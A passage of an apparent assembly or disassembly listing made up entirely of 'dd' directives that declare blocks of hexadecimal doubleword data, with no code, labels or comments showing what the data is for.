		dd 944C549Ah, 7BCE8098h, 74AA2E83h, 0F0455868h,	0CA9553C0h
		dd 8500B375h, 0B99F5E51h, 0E00A8ABDh, 0A03402BCh, 1EC3E857h
		dd 0DE003059h, 0A4C97D98h, 0BDF30EBAh, 13C00AFCh, 878A6AB0h
		dd 796C0730h, 0B971F92h, 11C801A2h, 2D800402h, 0B0947487h
		dd 5C4B95BEh, 48AA070Fh, 0E4DFE998h, 59D80084h,	810EA370h
		dd 16002C66h, 18C30C1Bh, 92088D65h, 0FFA40050h,	0B369EA19h
		dd 9125AFFDh, 0D568683Eh, 1B7902A1h, 0DE80764h,	0AA00F464h
		dd 3D0BB2D8h, 58ADD415h, 2F3A82C3h, 2CA1C0F2h, 0DA140D09h
		dd 0F819B300h, 82E7F92Bh, 1B9E2EFFh, 0BD370008h, 150E4188h
		dd 0F11C6100h, 19118FCEh, 29D8A0BBh, 0BFB26E1h,	584264Ch
		dd 0F2E305D3h, 0A8490104h, 0A639531h, 0A00CB469h, 0BEE63E07h
		dd 0E8DAC251h, 760070E3h, 65E27A99h, 123510DFh,	30B77DFEh
		dd 5CE98280h, 0AE788403h, 0D8CD1F31h, 705B5Dh, 213B186Bh
		dd 82B4501Dh, 6800A475h, 71067DBBh, 100DADh, 52CD8A92h
		dd 1A64B798h, 0E33C2000h, 63268708h, 0E2E50168h, 3683B804h
		dd 0E0F8F55Ch, 0FA00EDAAh, 21581E47h, 0D6D702h,	1794693h
		dd 6143E4ACh, 0FBADB800h, 0A48339D4h, 0C87B000Fh, 1C3F9EB4h
		dd 3A1FAB48h, 87F8B950h, 8C749458h, 0D34A7733h,	0BEE9D8CBh
		dd 8EB0DDD0h, 8220C1BCh, 0CED3B189h, 0D96A7907h, 0C2E8D31h
		dd 3B1D6010h, 0E9072733h, 4023AFB9h, 4A04F1D8h,	7619F48h
		dd 88DDC206h, 3914FB80h, 8DB830ECh, 1C35F661h, 0A020A8CEh
		dd 63C9D46Dh, 0CBD0F34h, 2603997Eh, 0B7901F89h,	60033288h
		dd 9A90E39h, 83401CBEh
		dd 0FCBB8C4Ch, 34009D51h, 1EBFAAA2h, 35FC363h, 0A788D0D2h
		dd 0B9114D5Bh, 0B11805B5h, 64E439D7h, 966FEB00h, 7B84B004h
		dd 79903Ch, 5D942B21h, 0DE2D31C6h, 3BF12800h, 6D183092h
		dd 4B550333h, 955C6C4Ah, 0E92D6EA0h, 5A246300h,	0F8599FC1h
		dd 0C4395476h, 44FC0A9Dh, 409C6B33h, 0EA485DFBh, 22F8780Ch
		dd 0B82938h, 0FD4A3CFh,	940D9D87h, 754A8206h, 1E399FEDh
		dd 0D4BB6439h, 0CE007CB0h, 0ABF673D3h, 0D900422Ch, 0DF760EEBh
		dd 14071F6Ch, 0C8B2FFA9h, 96013A05h, 0B81C07B1h, 89BE1094h
		dd 0B3B05D16h, 0B3DCC100h, 0FF80124Ch, 0B00B38D3h, 96B2328Ah
		dd 730880F4h, 38E8C7CBh, 7BF98300h, 184501D3h, 0BD50009Eh
		dd 0D72B332Ch, 0FF09CCCBh, 280863h, 0B49C7190h,	8CED2806h
		dd 2E290464h, 40888DECh, 3ACB1E79h, 66E98F1h, 2BE505E7h
		dd 0BE033113h, 73805CACh, 4232B8ADh, 0ED8E147Ch, 4C1E20B4h
		dd 0B2844AD7h, 0F2B00CAFh, 90099F19h, 8744FDD5h, 0A3C08B16h
		dd 42E54Eh, 3718437Dh, 96B09BABh, 861631C0h, 3B277747h
		dd 3F03B944h, 0DA36892Eh, 0AFF709F8h, 5912F1E8h, 604033CBh
		dd 0B0768716h, 0BA951EC7h, 51B240C6h, 0F618E06Ah, 58F8F424h
		dd 7D8EA89h, 72656BEFh,	4DEFA407h, 48C53EF2h, 9AB75000h
		dd 567C0B18h, 905EFFDDh, 927D3500h, 0E3C038h, 0C87F6DBBh
		dd 0C69A6125h, 0B8DA3E00h, 820BAD5Ah, 792600D9h, 0BF50F831h
		dd 51C0AB2Bh, 0D4FC146Bh, 6DC700F1h, 0C00AEDB0h, 0AD3CE16Fh
		dd 0A35A00EEh, 0FBD7F423h, 0F8D6F0C2h, 0E95D1202h, 0A18000A6h
		dd 673661ACh, 0D199F630h, 0CC18821h, 0A950F75Bh, 6C391669h
		dd 0EA6B0090h, 2524562Dh, 8C1200D9h, 32890161h,	8201A055h
		dd 0EDBB92B8h, 0BC50F38Dh, 5086FCA3h, 108403h, 51704825h
		dd 12ACA976h, 39C4AA3Fh, 0A1738006h, 0DCB7A31h,	0B14870h
		dd 4DE82A80h, 3FE2FC5Fh, 2E19A8A8h, 55C86E0Ah, 5C2AC358h
		dd 5D7888F8h, 293E2533h, 809DDBDFh, 0C01AB097h,	0E35D8C51h
		dd 6E0098E9h, 0BD965129h, 14AC49h, 0F5687594h, 0D691F33Dh
		dd 1388013Ah, 8C3034C3h, 578B60h, 2AE1570h, 3BD4C463h
		dd 215A2A30h, 75D51Bh, 5BC896A0h, 0D4600F3Ch, 0E7EAE201h
		dd 8FB9ED03h, 141089A4h, 26585CEBh, 0C2FFAF03h,	0C1F6FB82h
		dd 0E97AE4FDh, 0ECD2C00Bh, 9328069h, 0A2ABBFh, 0DF689070h
		dd 200D252Dh, 3F67BA13h, 4AC8030h, 0A7EEE6h, 45EA68D2h
		dd 67BBEC06h, 112BE418h, 273BFB1h, 0FB2FC85Fh, 868910Dh
		dd 0AD4C05C7h, 0BE3605FCh, 0E0430131h, 0FDB01Dh, 0FBCE2961h
		dd 67AFDB2Fh, 0A6B6F40Fh, 0D45A20A2h, 24B78F49h, 43206F34h
		dd 3900A8B0h, 0BB4DBAB3h, 15E18Eh, 622F8D49h, 3C4729CEh
		dd 0B67B0CF8h, 0C1FE2D03h, 8CF65DB3h, 405B8300h, 0BE02EE4Dh
		dd 34D074E0h, 1D94A3B5h, 3A318F88h, 6980FEBFh, 4CD1EEAh
		dd 7500E145h, 0F6EBA00Ah, 909B2817h, 0A254376Ch, 0A483F959h
		dd 6FA0AC2Eh, 6CB07041h, 2B84E60Dh, 0D3C4C1A5h,	37DB03E5h
		dd 878C1A46h, 0E445C9C1h, 157F514Eh, 0F031F807h, 62717C58h
		dd 90CC53B1h, 24AE070Ch, 16499E8h, 0E0FCDE92h, 0FF382D75h
		dd 235C43Eh, 0AE615433h, 0AAC22732h, 0C1092040h, 0CC51A824h
		dd 7D0D2340h, 4B9F00B1h, 45B07782h, 9A60F5E8h, 0E32C0621h
		dd 35DE00DBh, 1C44C95Ah, 306F5A5h, 0F72EADBDh, 22020329h
		dd 0F3D69F1Bh, 3EBC8100h, 0DDF44A94h, 5F2C004Fh, 23BB4CAEh
		dd 6E5C495Dh, 685A0360h, 0D8C434DAh, 905D824h, 0BD59F510h
		dd 0EB55818h, 22DB1300h, 58E31FD0h, 106200B7h, 8D889442h
		dd 5552AA9Bh, 0DCA050BCh, 82242613h, 53D4EC30h,	9BE4004Bh
		dd 0BF33EB7Eh, 0B348E5C9h, 3248803Ch, 0B8ED66h,	0E062F3D3h
		dd 2FE3E660h, 23140301h, 0B72B0143h, 245EE910h,	15402100h
		dd 0D24C6728h, 8D9701EDh, 73395AEBh, 0C9B47027h, 0BE31B209h
		dd 48742802h, 6360E780h, 701BD4Bh, 2B3D2944h, 0C2DD307Dh
		dd 0DB61E89Ah, 1B1ED2C8h, 3ACDB870h, 77094DB6h,	8C808B37h
		dd 6D76634Bh, 0A8E83C01h, 353331ADh, 7F8B69BAh,	7C0072FCh
		dd 15FAED4Ch, 0A8ECFB2Ah, 127DD003h, 0D82B37B9h, 719F1E8h
		dd 62EC284Ch, 0F9E00044h, 59263F0Ah, 0A602E42Fh, 44B1F873h
		dd 0B358042Ch, 0A52B75A2h, 94C3F858h, 380056E6h, 0EF45A107h
		dd 2437DCh, 0EE6E5105h,	4181C8D5h, 0D719F819h, 70322549h
		dd 0F3270C01h, 0C4AA9042h, 0E00825Dh, 0F4C06E46h, 12A083ACh
		dd 330F61FFh, 0ECF0B7F8h, 82003076h, 0C9A1DE51h, 18BBE63h
		dd 0C6542C1Fh, 23CF0102h, 7C030064h, 673DF8CCh,	0AAE248B4h
		dd 0DCB94F1Fh, 57C68015h, 8E0E0716h, 0EE005D7Ch, 0C97E0E3h
		dd 5CB6303h, 0AD32F0D4h, 0CC68C9CEh, 1D076FF4h,	0F13021EBh
		dd 378CDA90h, 1EAD9060h, 87D1BE61h, 0D13102ACh,	0CA873484h
		dd 7E55D090h, 95746807h, 0B374E8B2h, 4726FCD0h,	9D890BDh
		dd 0F521E29Eh, 0D2F5490h, 0F250E100h, 7543789Ah, 0CFAA0196h
		dd 9C6E5513h, 32C33D9h,	8AD36369h, 0D8C5B3EFh, 3FC9E95h
		dd 6D3D5768h, 0B9E02E93h, 290C5134h, 991C2BF1h,	0CB060FBBh
		dd 476040FAh, 38DD777Fh, 18B8CD39h, 23722F81h, 53FE00E5h
		dd 962BA1Ah, 3C0BF43Eh,	85A5F8E7h, 9053C803h, 60B8D032h
		dd 22B2153h, 22889893h,	0BA80AC36h, 0B01BF84Eh,	698F29CEh
		dd 0C54E01CCh, 0D870ADFEh, 5C408AAAh, 7B0A4213h, 0CB04993h
		dd 0B8EFF201h, 95E80AC2h, 3F30B054h, 484A73Bh, 8CBCC106h
		dd 5F00807Ch, 8BFC03A0h, 0F114BAAh, 96F365B7h, 6B322860h
		dd 761761CDh, 0F021BFE0h, 23FC4B0Dh, 6A5B05B5h,	44A373A9h
		dd 882BB2C8h, 0DB00C560h, 9629B1CAh, 26A350Eh, 4023AB5h
		dd 0E040AB5Fh, 15488FC3h, 4B7E00C8h, 0EE38C1F8h, 459F0586h
		dd 0CCE9F2D3h, 0C7B07D44h, 5A992B00h, 86EA61F8h, 5EF6093Eh
		dd 6C015237h, 0D14BA2AEh, 84B947D4h, 990B276h, 80A0FE59h
		dd 0E50D400Eh, 80300072h, 0C157A7EAh, 55502B4Eh, 0ED2ECA8Ah
		dd 0C8408893h, 48A5430Ch, 6071586Ah, 28DB5853h,	0FA13EC2Fh
		dd 50880325h, 6B83006Ch, 0E73AC60Eh, 0FC07AC92h, 85B5D2EBh
		dd 11218CF0h, 54B64C53h, 0B8912B00h, 0DE543FF4h, 3848056Ah
		dd 0AE698B40h, 947D000Eh, 0E27CBAEFh, 350FB934h, 0E0102927h
		dd 0A97976D9h, 0A68C9417h, 0BE080274h, 0EC20EDFBh, 0E21A0h
		dd 0FD80854Ch, 91AC2489h, 62633D09h, 6C44ABh, 9B7122F4h
		dd 30C473BAh, 6ECEE601h, 9DF5B8A7h, 0C55A6180h,	0D6DA20A2h
		dd 0CD53493Ch, 3CA105C0h, 1400F640h, 0E7AF665Fh, 0B3020BFDh
		dd 0F400097Ah, 86EC197Fh, 5C4CF84Eh, 4631CEh, 22BAE858h
		dd 4CA004BCh, 4A3D490Fh, 71644107h, 8BD0670Dh, 62ED0391h
		dd 0D1637933h, 725330A9h, 0DA5878h, 5E81E592h, 3BDDD7h
		dd 0C5F90889h, 2AF2F761h, 8479A8F1h, 5E053D00h,	611E5D02h
		dd 1B872031h, 215A1D0Ch, 5C7699A5h, 42C1C002h, 0F4AC7B3Fh
		dd 0F50057DBh, 92595406h, 0F94541ADh, 8B487FC3h, 0D441AEEAh
		dd 0F62041B8h, 905980CFh, 0C6E94DA1h, 7E2F025Fh, 0F5D8D61Bh
		dd 0D000A064h, 0C6B36406h, 110AEC0h, 6736D4F3h,	0C00365A6h
		dd 4500EE32h, 5DB804A3h, 2888597Ch, 0F95C2AADh,	9CCAF9CBh
		dd 16631180h, 592BFF0Fh, 0C8BD3E00h, 93665754h,	0E4F0042h
		dd 35BB5E65h, 8303DFF8h, 0BC43023Dh, 0AEB90ED5h, 0E9C09EB4h
		dd 0E496A20h, 0C7EF002h
		dd 519436A1h, 536700F4h, 2B567D79h, 0DAB38500h,	95E4ED41h
		dd 13D370FFh, 26EC48Fh,	4BBD84F0h, 0A402C480h, 0A4A347Fh
		dd 755BF820h, 0E04956Ch, 0EA80D581h, 36B32880h,	0F050C0A7h
		dd 2AFBF367h, 6AF9B8A8h, 8EE61D03h, 880DADDFh, 0EF99A880h
		dd 0E029F060h, 27949862h, 0CCA1BF38h, 0E0A697CEh, 4400A206h
		dd 187CE1C4h, 60FBC3D4h, 35CC79B0h, 0EF269F05h,	6803153Ch
		dd 83318969h, 63B10A07h, 18D655h, 6A7D7159h, 6260E2Eh
		dd 3F610C87h, 96807252h, 8BDC024Bh, 9501338Ch, 0E2616D57h
		dd 12201A2Fh, 0AB26019Eh, 154F353Bh, 0F01430BBh, 7ECF0603h
		dd 0E12D31C9h, 0E2F0A044h, 424E039Bh, 83AA34E5h, 0DF5471D8h
		dd 0C3ACBF50h, 9C573702h, 400BE132h, 2ECF10h, 0DACAB955h
		dd 31A2A1FEh, 0F5AF2515h, 0C1830088h, 0EEB19D53h, 0C2D89566h
		dd 29006CB1h, 958DE793h, 23CC007Bh, 6566400Dh, 0D901FDDAh
		dd 0FEEA91DCh, 461FB09h, 0AE053873h, 804A75D1h,	0CC0193C4h
		dd 501FD90Ah, 56808CA2h, 57B2302Eh, 63040449h, 0EABCC9CCh
		dd 838E3200h, 178DA4Eh,	473E6020h, 81ABBBDEh, 7B494FB1h
		dd 0D84419E3h, 0C43AD409h, 32921D0Ch, 178E801Ah, 206BD4AAh
		dd 2A0AE80Bh, 0F5F440CFh, 0E00CB231h, 0CD773AFDh, 522A6h
		dd 95AB74E1h, 0B6602A20h, 374A1EA9h, 39CD003Ch,	6A73945Ah
		dd 523E6046h, 813482AFh, 6450B2F1h, 0EDE4A8h, 4A8BF6Bh
		dd 92B6BC28h, 0B8AED804h, 0A0E4B1FEh, 0F64E27B7h, 5B9F80A0h
		dd 0D200F9B8h, 9B492115h, 26A7C7DDh, 93493BDh, 3090B931h
		dd 0B07159Eh, 0DAA95E4Fh, 319360AFh, 0E830AF2Eh, 150919Ch
		dd 884CDDA0h, 2079E891h, 38EA502h, 0C18D9D22h, 9039BC21h
		dd 0A0BBA800h, 0EDE36CE0h, 30402B5Bh, 1F112327h, 0E785020Eh
		dd 50CE1754h, 7E148C90h, 83A88A00h, 0BFD628A9h,	0C36800ADh
		dd 79FA9D4Fh, 315836DCh, 0B0916489h, 8DC088h, 5EE25085h
		dd 786E7BC2h, 3243D00h,	0A8B2CF40h, 4AD902DDh, 2A3619F8h
		dd 0DB038CC4h, 0B3DC7B25h, 1B909F99h, 1EB0E80Eh, 8E1302D6h
		dd 15E1328Dh, 513056A9h, 0FA6F31ACh, 0F900B4D9h, 66AFBB6Dh
		dd 0AD0D3A89h, 0CAC09C09h, 68670810h, 551F0900h, 0E5D665CCh
		dd 26F12D1h, 23A00014h,	0A2A61519h, 4704E8EAh, 73BD7D6Ch
		dd 0AA1EE8F2h, 513D89E2h, 11A4C48Ah, 918F0E04h,	0CF88E717h
		dd 4B736810h, 20034A1Ch, 48572434h, 0A355600h, 0D42D19E9h
		dd 0FBB190C4h, 24DB5C20h, 812072F5h, 4EFBA68h, 0F5E2C22Ah
		dd 879D40F7h, 431601AEh, 0CD4A0E1Ah, 0B3AC2037h, 0F89FE12Ch
		dd 716DE60h, 0A98C007Ah, 0F36F9443h, 0ACE6FA59h, 12E290B0h
		dd 9D24D65Ch, 0D9F6A700h, 3C4CD6Fh, 0B2C94AEh, 1CCBF5EEh
		dd 61BF63F0h, 535C8BF4h, 0A9190BCCh, 174C982Ah,	2160908Dh
		dd 26060701h, 0F061B834h, 36A0197h, 0D23D9F4Ah,	0EC622Bh
		dd 1355CDBh, 1DE7B629h,	288C4FEh, 0D6CA3D70h, 46512C60h
		dd 0D4BF1C12h, 0E2EB2C43h, 0FF87E864h, 25C00A0Dh, 12346B34h
		dd 2CFC30D4h, 66E245ECh, 2B50CB00h, 59A771ACh, 9F230134h
		dd 0A9616C57h, 0D49C3167h, 0ED7CC02Ah, 85BBB094h, 54ADBDA0h
		dd 0A8007412h, 3602A2C6h, 24A8021Bh, 0A7ACB211h, 0D6595CE0h
		dd 0EB8028BEh, 0C9C58422h, 9DC400A2h, 0ADF6C3E1h, 6028C8Fh
		dd 0CE0BE559h, 0D03892E8h, 40B89CD8h, 0F8F5A658h, 27E40500h
		dd 2FD4A937h, 643416F0h, 0D1CC30D6h, 0C6008FBBh, 42FC4B58h
		dd 46A308h, 0C3D38A12h,	16A8496Ch, 4DCFA90Bh, 4CD00296h
		dd 3FC8C42Bh, 1C80E014h, 0A1CE941Eh, 0C0497FADh, 50741240h
		dd 9047ACD0h, 375004Eh,	41807028h, 6924CE87h, 20006D1h
		dd 96BE6FEFh, 99F66040h, 0B3F50F83h, 0A7F22805h, 1C9820ADh
		dd 60D205BEh, 947B94Bh,	5490B085h, 1A00FB89h, 31076756h
		dd 0E0DEF659h, 8C22E958h, 5EA56E00h, 5CD70791h,	2FBA9300h
		dd 8B8F5535h, 8AD90002h, 34093E04h, 3007625h, 2732DF65h
		dd 0B81AC084h, 0D6811D20h, 486706ACh, 0CA0090A3h, 6C4B7A98h
		dd 583B5C0h, 0FB91D6B8h, 0B908C161h, 0B4601012h, 0B70C13FCh
		dd 14EC20CAh, 0C60087B0h, 2793B92h, 65A3D5Eh, 2FD82961h
		dd 0F104A40Dh, 429752B6h, 7A3C1C81h, 90115870h,	7591240h
		dd 22CC03FDh, 20A188A1h, 40CAF497h, 65030DF0h, 7C2A458Bh
		dd 0E678D006h, 8889066Bh, 99320A31h, 50AD5A5Ch,	8EE4B698h
		dd 0D810F0C0h, 2AC7Fh, 7CC86201h, 0B224498h, 4699E703h
		dd 1F2B89h, 0F3C37541h,	0EAC10E4Eh, 0FE18E57Eh,	4CA02261h
		dd 0A2DE1201h, 0F57020FCh, 0D5006B3Ch, 0F73B9E15h, 0EBB8F1Ah
		dd 0EF7381FEh, 0F928F060h, 9222E251h, 3D9248Dh,	0C5B0094h
		dd 7CD4A724h, 0A02AE218h, 18E2921h, 93F59836h, 292EAB4Bh
		dd 0F1187F78h, 0AA29D1BFh, 900AEAB2h, 0F3200039h, 75904DFFh
		dd 2894D63Bh, 548B7196h, 0ACEC004Ah, 0DAE7166h,	93052C7Eh
		dd 0B4EC2769h, 68CB5409h, 0F0545Ch, 196FA6E8h, 0E0909134h
		dd 0A2F30A02h, 46C85375h, 32FD1DF8h, 0D5960026h, 385C3BB6h
		dd 0F6947C2Eh, 8661C500h, 0F39126Ch, 23726391h,	5C28FD80h
		dd 4612B94Ah, 0E830E1B6h, 0CBF798h, 9864EBBh, 0AF5A8183h
		dd 0C2CCF305h, 8E072E2Ah, 0FB2360BFh, 0F48150E7h, 3D3303B2h
		dd 4825D886h, 75A076B0h, 0DB3E8401h, 4F3C2ABh, 0DD070h
		dd 772F29D6h, 399E88F6h, 0BC5ED37Ah, 7B27440h, 5A2F93h
		dd 79252E44h, 42F2949Fh, 91DE3400h, 323664EAh, 8B28262Fh
		dd 418C2618h, 22387D31h, 0C032A48h, 5889B977h, 720E2060h
		dd 0A85B0942h, 9C6AF5DCh, 178BE740h, 87E44000h,	698CDEACh
		dd 9874A891h, 34F701A3h, 0B3DAC643h, 519CE846h,	0AD4EAB06h
		dd 5F60190Bh, 50044B25h, 73C6CCC8h, 4276031Dh, 674A7700h
		dd 0B8FFBCh, 0AEC55506h, 6182F5B0h, 3B0065FCh, 0D95B2BE6h
		dd 0A63E87h, 1ADEB505h,	0EEC712EDh, 3026AA0Dh, 84EC3970h
		dd 8664000Fh, 5FEF6F8h,	0C7481B0Ah, 355501E1h, 0DD13D09Eh
		dd 30FFE3F0h, 0B20847EBh, 27008716h, 0E7B9CCC2h, 0FD53FE8h
		dd 0E5085105h, 0D8F46600h, 850C713Ch, 0E8BB5CC9h, 155F28Ch
		dd 0F8B1B0D7h, 8F9BEDC5h, 0E034AE08h, 0E9FC8486h, 21070057h
		dd 4E0554DDh, 0D203E33Ch, 51903D36h, 0D03106BEh, 584CE71Bh
		dd 0D3E97F02h, 0C216FC32h, 398BC0BBh, 0BBE1C02Ah, 2D7B723h
		dd 0F4099CE2h, 0F710F1BFh, 1049F187h, 30E49DD2h, 955EF500h
		dd 0FC421AC9h, 0BDB4CBDh, 0A69EA963h, 3288A3F0h, 5A0E6E00h
		dd 2196CC8h, 638600EEh,	773B6723h, 30C0B0C7h, 2AB12139h
		dd 6120029h, 1AFF34ECh,	600C82FCh, 2885A623h, 5C7E0370h
		dd 6DAED33Eh, 0FC89F481h, 0C90E77A8h, 12147BBh,	0CD903688h
		dd 729448h, 0F330D710h,	0D5C72D86h, 0C2910CA0h,	606F6400h
		dd 0E25DCBE5h, 0B7BF01C1h, 0EFA189B0h, 0ECFFE44Bh, 4C0ABE75h
		dd 9091236Fh, 0B702F803h, 64889889h, 6976002Fh,	5F10BE07h
		dd 7B3ACCBDh, 20C80CB2h, 153159h, 0B8AA8246h, 0A7F6E791h
		dd 18C05800h, 8C21D275h, 0E529C0C4h, 9593285Ch,	0C82078CAh
		dd 0D51100BEh, 9F8AA49Dh, 627B00CDh, 4219D3F7h,	8B099AACh
		dd 30871DFh, 0C2BF82ACh, 85AC901Ah, 84E4029Bh, 0D3236138h
		dd 0E0D0A4A1h, 0AC9DF843h, 0FAF74C00h, 6EFD45F5h, 753207A6h
		dd 80DC59B1h, 0BE4B3CE2h, 760D2239h, 88241A18h,	3F13058h
		dd 0DA83EBB0h, 60A09F63h
		dd 255CE193h, 0B9AF3184h, 3180521Dh, 33562FDDh,	0FF005066h
		dd 0CA6930A7h, 0A82DEDCCh, 199CC8h, 0D3547F0Eh,	1BF50AFCh
		dd 6C04BFE8h, 0D14EEBD0h, 208D0880h, 258200DDh,	99595EBBh
		dd 94AA013Bh, 0FF278580h, 0AF071A2Eh, 0C4E59C72h, 0F477617Ch
		dd 85F8EAh, 0B8BED967h,	0DF3051F6h, 402450E8h, 0E660342Dh
		dd 2C4E2F5Ch, 90C601h, 28A8C2C4h, 3F0986FAh, 85CEC8h, 0D36254A4h
		dd 0E4F4004Bh, 0EED47966h, 0DD02F015h, 1155C96Eh, 8F80A227h
		dd 78548505h, 0BDEBCFC0h, 8C250A28h, 87989223h,	0F06110C8h
		dd 435CD94Ah, 5549FD00h, 805020Bh, 8D420006h, 0FF90A393h
		dd 1D3118EDh, 342C6153h, 844EC4h, 28AD5224h, 0E34D7827h
		dd 3018F433h, 40E2A2EEh, 2A959C30h, 1D8CBD51h, 0C1C782BAh
		dd 7C801AD0h, 92B442C1h, 0D0428061h, 0E5005772h, 2A25225Ah
		dd 7C3CF62Dh, 1BA506BEh, 49B19B1Ah, 4E846B07h, 0D290595Ch
		dd 724F39h, 89EFBB11h, 86D31C5Bh, 30E76000h, 20A55CB3h
		dd 10556125h, 816999h, 1EE105F8h, 0C138142Ch, 7821193h
		dd 749C500Fh, 0C007AF5Ch, 3071F57Dh, 801048B0h,	4477507Ah
		dd 0AB5F00B9h, 0EC95B224h, 0FE1DE702h, 0C30086C2h, 0F7773742h
		dd 5EEBEACEh, 62B895h, 93E855C8h, 0A5278D3h, 56832116h
		dd 0D4E381C8h, 0D9E2736Fh, 65D9EC72h, 198F69C7h, 9120999Ch
		dd 0CFF00ACh, 822556A4h, 0A952DE07h, 9740723Ah,	7AAF4A6h
		dd 0BECDAF37h, 0C1A23CCh, 0FA554108h, 0A4143CCBh, 0AC00BC36h
		dd 1C87943Fh, 0CC3F02EFh, 0F64183C3h, 3D2B3934h, 38001739h
		dd 9DC555Ah, 0C2007682h, 6EEF6352h, 708F0B7h, 308AA642h
		dd 40BC2590h, 193763D4h, 2077D1DCh, 0F680E9DDh,	931E8308h
		dd 3EFA0C5Bh, 0F388A361h, 0E771DAEEh, 0D8247304h, 3C84205Ch
		dd 421BB820h, 717C0178h, 0FC50366Fh, 7EEDCC01h,	7D4CA503h
		dd 0A620C7D2h, 0DACA0069h, 0E78141B1h, 75018AF2h, 36AB6729h
		dd 0A888D0C2h, 288FBF51h, 83C0A1Bh, 0FC33CA00h,	0AD3CD86h
		dd 23D08270h, 0C388002Ch, 19A02AE8h, 0A4DB6700h, 0FDD4F599h
		dd 236E265Bh, 0BC424EA4h, 8286B555h, 302260D7h,	9CBA009Bh
		dd 535EA052h, 4A083B6Fh, 0D61D15h, 0FF4811C5h, 0D00A806Eh
		dd 80957746h, 0BFD7B881h, 20C07D9Eh, 69C70058h,	0B3375719h
		dd 233E67A7h, 848878DEh, 716B00E3h, 12804156h, 61C5D395h
		dd 0AC1DC8AEh, 203600E2h, 1942FE45h, 0FB767E69h, 0E23EBCB8h
		dd 8054CCC9h, 6EBB0892h, 83711E90h, 5EF900B9h, 0E524FC65h
		dd 0A12A7904h, 0FC8032B6h, 9530AE0h, 0B85590F9h, 4D9E3810h
		dd 0CAFB5618h, 28EA8F11h, 7C776Bh, 7A441EE6h, 1A7CE861h
		dd 4CC80CA2h, 0C4002FCCh, 92548713h, 7FC2B664h,	35522E16h
		dd 8D11051Eh, 78648CD4h, 0C7464504h, 4C1ADE0h, 0FE471863h
		dd 8C723C80h, 0C9A724A1h, 9A0560A8h, 600D2A4h, 80EA48D1h
		dd 0ED75B9h, 557E58E2h,	0B65C82BCh, 442E9026h, 4F78C940h
		dd 0F63E7F9Eh, 169C2E53h, 0F4C808h, 66D4D4Fh, 202CACFCh
		dd 449D49Eh, 7C802994h,	0CCABADAh, 0E41BBE73h, 0F900D0C1h
		dd 0E3DF3CD6h, 2C2D20C3h, 4330A490h, 2900083Bh,	965EC735h
		dd 1E19FFE8h, 8049B6D2h, 0BEE2BD99h, 9389FB3Fh,	6A2F870h
		dd 3025C4A3h, 0E7001902h, 0F45F3758h, 16752A77h, 8A94B27h
		dd 7B3A3C7Ch, 32C07F3Dh, 2001A065h, 21B28055h, 67387A3Fh
		dd 50CA30D1h, 6B007511h, 0E85AF4BAh, 463B26AAh,	0FF1A8042h
		dd 53DE69E3h, 0B6EF133Dh, 0A38C02FDh, 50E47820h, 693FC0Ch
		dd 25F54929h, 92FCC80Eh, 8A30D401h, 0E4309339h,	0A73F0F2Ch
		dd 0CFA1A3E1h, 66BFF10Bh, 13F80380h, 0C27B22h, 0ADA24259h
		dd 0BB1053A9h, 0BC19D402h, 441A18C9h, 0F57288h,	0E6B3FC7Fh
		dd 0EFACBD90h, 0C08D1D00h, 22E2C30Ch, 3C250723h, 8E69EAB9h
		dd 0CCCF53A0h, 552EFF6Ah, 5408843h, 90D25Bh, 451B92EBh
		dd 0CC325DC4h, 0E8F097h, 0D8B6CE42h, 31C8D9AFh,	50C4CA2Eh
		dd 6195EF4Fh, 779D25F4h, 5B008472h, 78143933h, 802EDD6Fh
		dd 716048ECh, 9D97FB3h,	0C35C0CBCh, 63018498h, 0BF7E2500h
		dd 0EDCB9053h, 75D90766h, 0B1EA4582h, 91204EFEh, 0D407C8B8h
		dd 0B3E4C2F1h, 6100E739h, 85969027h, 16A11142h,	0B7EED6h
		dd 518DF6A8h, 2C24DD21h, 0B407CC7h, 0B033ADEh, 0CF04280h
		dd 41C37404h, 0E570413h, 88D59870h, 0EF07091Dh,	0F06F1FFBh
		dd 0FCAC39F0h, 0C42225E6h, 95B15882h, 0A40244E2h, 0D8E05DCFh
		dd 997B3EA6h, 0FAD4C400h, 0B2A5EEE5h, 39252CCBh, 0FC9640E4h
		dd 0F73B0BBEh, 38520198h, 0FD8495ACh, 409F082Ch, 41E8F0A0h
		dd 0E2183C35h, 0FB9999C4h, 7A3017Ah, 111D918Fh,	0C713C049h
		dd 0B2212F6Eh, 352300AFh, 0A1BFECE8h, 0F045C000h, 52C3386Eh
		dd 822E094Ch, 0F400D40Dh, 0E328B7C4h, 404B3C07h, 4840FDEDh
		dd 534C9F50h, 6800C056h, 3C92B208h, 349282BBh, 0BEDECA1Dh
		dd 2680B61Dh, 0D2CFA95Bh, 1D870256h, 0E0F4674Ch, 0F1BCC887h
		dd 507701A4h, 0D2E2B29Ch, 30287D5Ch, 28256185h,	74452555h
		dd 68F4A8h, 239CD230h, 7D0095F7h, 845DB99Dh, 0E0EA1C04h
		dd 27229h, 19D60EECh, 4172BED4h, 1870E174h, 0EC1AB8A8h
		dd 0EBA5304h, 0A0A0FCE8h, 5C074BB2h, 0B36281F8h, 0C465C0CFh
		dd 48038D53h, 0E60C1239h, 4033F0A2h, 41074EBDh,	0C331F89Ch
		dd 8FFFF804h, 94D50200h, 0FC6D85EEh, 0D0CD3D59h, 0B1085800h
		dd 5C9A7BECh, 640290E8h, 66E48FFEh, 0E180850Dh,	854AC081h
		dd 2278D511h, 56C84048h, 25DDDE00h, 0FE096908h,	203A4B51h
		dd 0D0A8540h, 7CFDEB3Bh, 0DC1CF61Dh, 9D4A38F1h,	82B89840h
		dd 0E9E701C1h, 0E8E637DAh, 0F78087D6h, 0CF7417h, 225AF5D0h
		dd 709B82h, 0D5722CEBh,	0E3011B23h, 9031EAC2h, 54429839h
		dd 0D2188167h, 0E472305Fh, 0ACDE4C00h, 0BE13185Ch, 7B233418h
		dd 17429h, 81FC8D2Fh, 16AC775Ah, 90049803h, 0E11A28F7h
		dd 0F4DC9C5Dh, 823302D0h, 0CD4E3C51h, 7B6DE880h, 0AEF62084h
		dd 0D17EAF05h, 0F406CB3Dh, 4B66FF47h, 1A2049A9h, 1FE2B868h
		dd 9CC26D00h, 1091E08Eh, 387B5C15h, 384C8522h, 6FD28024h
		dd 48A3AB5Eh, 985844CDh, 3B508EC3h, 3C99A5E9h, 0B277809Ch
		dd 0F4D9E5E3h, 719D00EAh, 0EF7D369Ch, 0CD03A247h, 19CFDD52h
		dd 301EF887h, 97CA8871h, 514C8100h, 3E28346Fh, 35DE07BFh
		dd 908BFDh, 0D3DA09E9h,	0C455080Ch, 0C8A92Ch, 9B47F2DEh
